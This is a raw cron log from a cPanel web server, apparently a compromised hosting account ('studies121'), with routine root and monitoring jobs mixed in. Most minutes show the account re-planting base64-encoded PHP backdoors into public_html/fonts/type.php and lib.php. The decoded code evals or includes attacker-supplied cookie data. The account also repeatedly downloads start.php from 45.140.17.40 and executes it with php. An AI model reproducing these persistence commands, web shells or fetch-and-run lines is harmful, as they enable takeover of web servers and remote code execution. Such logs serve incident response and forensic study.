Feb 22 20:32:01 ip-184-168-122-23 CROND[16489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:32:01 ip-184-168-122-23 CROND[16487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:32:01 ip-184-168-122-23 CROND[16488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:33:01 ip-184-168-122-23 CROND[16798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:33:01 ip-184-168-122-23 CROND[16800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:33:01 ip-184-168-122-23 CROND[16799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:33:01 ip-184-168-122-23 CROND[16801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:34:01 ip-184-168-122-23 CROND[17112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:34:01 ip-184-168-122-23 CROND[17114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:34:01 ip-184-168-122-23 CROND[17115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:34:01 ip-184-168-122-23 CROND[17116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:34:01 ip-184-168-122-23 CROND[17117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:35:01 ip-184-168-122-23 CROND[17500]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 20:35:01 ip-184-168-122-23 CROND[17503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:35:01 ip-184-168-122-23 CROND[17507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:35:01 ip-184-168-122-23 CROND[17506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:35:01 ip-184-168-122-23 CROND[17508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:35:01 ip-184-168-122-23 CROND[17510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:35:01 ip-184-168-122-23 CROND[17512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:35:01 ip-184-168-122-23 CROND[17511]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 20:36:01 ip-184-168-122-23 CROND[17872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:36:01 ip-184-168-122-23 CROND[17877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:36:01 ip-184-168-122-23 CROND[17875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:36:01 ip-184-168-122-23 CROND[17874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:36:01 ip-184-168-122-23 CROND[17876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:37:01 ip-184-168-122-23 CROND[18145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:37:01 ip-184-168-122-23 CROND[18147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:37:01 ip-184-168-122-23 CROND[18148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:37:01 ip-184-168-122-23 CROND[18149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:38:01 ip-184-168-122-23 CROND[18433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:38:01 ip-184-168-122-23 CROND[18436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:38:01 ip-184-168-122-23 CROND[18437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:38:01 ip-184-168-122-23 CROND[18435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:38:01 ip-184-168-122-23 CROND[18438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:39:01 ip-184-168-122-23 CROND[18788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:39:01 ip-184-168-122-23 CROND[18789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:39:01 ip-184-168-122-23 CROND[18790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:39:01 ip-184-168-122-23 CROND[18792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:39:01 ip-184-168-122-23 CROND[18794]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 20:40:01 ip-184-168-122-23 CROND[19143]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 20:40:01 ip-184-168-122-23 CROND[19147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:40:01 ip-184-168-122-23 CROND[19148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:40:01 ip-184-168-122-23 CROND[19151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:40:01 ip-184-168-122-23 CROND[19152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:40:01 ip-184-168-122-23 CROND[19153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:40:01 ip-184-168-122-23 CROND[19155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:40:01 ip-184-168-122-23 CROND[19156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:41:01 ip-184-168-122-23 CROND[19503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:41:01 ip-184-168-122-23 CROND[19505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:41:01 ip-184-168-122-23 CROND[19508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:41:01 ip-184-168-122-23 CROND[19510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:42:01 ip-184-168-122-23 CROND[19919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:42:01 ip-184-168-122-23 CROND[19922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:42:01 ip-184-168-122-23 CROND[19923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:42:01 ip-184-168-122-23 CROND[19924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:42:01 ip-184-168-122-23 CROND[19921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:43:01 ip-184-168-122-23 CROND[20241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:43:01 ip-184-168-122-23 CROND[20243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:43:01 ip-184-168-122-23 CROND[20240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:43:01 ip-184-168-122-23 CROND[20242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:44:01 ip-184-168-122-23 CROND[20593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:44:01 ip-184-168-122-23 CROND[20594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:44:01 ip-184-168-122-23 CROND[20596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
